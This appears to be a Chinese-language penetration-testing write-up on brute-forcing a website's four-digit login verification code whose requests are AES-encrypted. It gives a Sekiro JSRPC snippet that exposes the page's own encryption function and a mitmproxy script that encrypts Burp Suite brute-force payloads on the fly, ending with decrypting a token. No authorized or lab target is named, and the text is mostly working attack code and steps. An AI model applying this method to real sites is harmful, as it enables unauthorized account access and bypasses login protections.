登录页
接收验证码 四位 可能存在验证码爆破
抓取数据包进行查看 发现数据被加密 手动输入多次验证 原验证码可用 开始对加密进行解密
AES加密 将解密方法设置全局方便后续调用
安装Jsrpc
https://github.com/yint-tech/sekiro-open
构建完成后,会生成文件夹sekiro-open-demo,在bin文件夹中根据系统来选择运行.bat还是.sh即可
运行后的样子
https://sekiro.iinti.cn/sekiro-doc/
在文档中 可以看见官方注入的JS
导入sekio.js 我们自己在底部单独注册一个接口 运行
function guid() {
function S4() {
return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
}
return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
}
//Modify content
group = "MiNi";
registerAction = "AES";
var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());
client.registerAction(registerAction, function(request, resolve, reject) {
response = v(atob(request['text']));
resolve(response);
})
注册好后 访问
http://127.0.0.1:5612/business-demo/invoke?group=xxx&action=xxx&text=xxx
text为需加密内容
因为加密数据存在&在URL解析时容易出现问题
修改下sekio.js 输入base64数据即可 会将base64数据解密在进行加密返回
Data为我们加密后的数据 text内容是我们的需要加密的内容
到此 即可生成自己想要的一个密文字典用python进行爬取保存对应的加密数据即可
这里在使用另一种方法 实现在Burp中的密文爆破
利用mitmproxy
在我们的环境中,我们需要调用这个jsrpc来加密后,将处理过的数据包发送到网站中,所以需要一个mitmproxy来加密参数,然后发送
安装库
pip3 install mitmproxy
创建服务器
import requests
import urllib.parse
import re
import json
from mitmproxy import ctx
def encrypt(data):
data = data.replace('&', "%26")
url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(
data)
res = requests.get(url)
res = json.loads(res.text)
return res['data']
def request(flow):
# 获取GET请求的数据
data = flow.request.query.get('data')
print('Get request data ===> ', data)
encryptData = encrypt(data)
print('EncryptData ===> ', encryptData)
# 设置修改后的请求 body 数据
flow.request.query['data'] = encryptData
# url = flow.request.url + "?data=" + encryptData
# res = requests.get(url)
# 请求后的数据
def response(flow):
response = flow.response
print(response.text)
ctx.log.info(str(response.status_code))
然后启动
mitmweb -v -s test.py -p 8081
我们设置一个burpsuite的代理到mitmproxy中,然后尝试发送一个包
可以看见BP中明文发送 已经被加密
后面就进行明文爆破即可实现密文发送的效果
解密 获取token